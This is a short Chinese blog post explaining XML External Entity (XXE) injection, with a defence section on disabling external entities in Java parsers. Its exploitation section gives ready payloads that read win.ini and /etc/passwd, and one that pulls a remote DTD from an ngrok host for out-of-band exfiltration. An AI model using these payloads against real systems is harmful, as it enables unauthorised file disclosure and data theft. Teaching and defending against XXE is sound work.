我是靠谱客的博主 纯真水蜜桃,最近开发中收集的这篇文章主要介绍XXE(外部实体注入攻击)什么是XXE利用方法进阶学习防御,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

XXE

  • 什么是XXE
  • 利用方法
  • 进阶
  • 学习
  • 防御
        • 理论上的防御措施
        • 实践有效的防御措施

什么是XXE

XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。

利用方法

file:///C:/Windows/win.ini

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://9c3f5c9c.ngrok.io/a.dtd">
%remote;
]>
<comment>
<text>test&send;</text>
</comment>

进阶

学习

XML实体注入漏洞攻与防
XXE(XML External Entity attack)XML外部实体注入攻击
XXE漏洞利用技巧:从XML到远程代码执行

防御

理论上的防御措施

  1. 禁用外部实体
  2. 过滤和验证用户提交的xml数据
  3. 不允许xml中含有任何自己声明的dtd

实践有效的防御措施

配置xml parser只能使用静态dtd,禁止外来引入

以java为例,通过设置相应的属性值为false

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

最后

以上就是纯真水蜜桃为你收集整理的XXE(外部实体注入攻击)什么是XXE利用方法进阶学习防御的全部内容,希望文章能够帮你解决XXE(外部实体注入攻击)什么是XXE利用方法进阶学习防御所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(49)

评论列表共有 0 条评论

立即
投稿
返回
顶部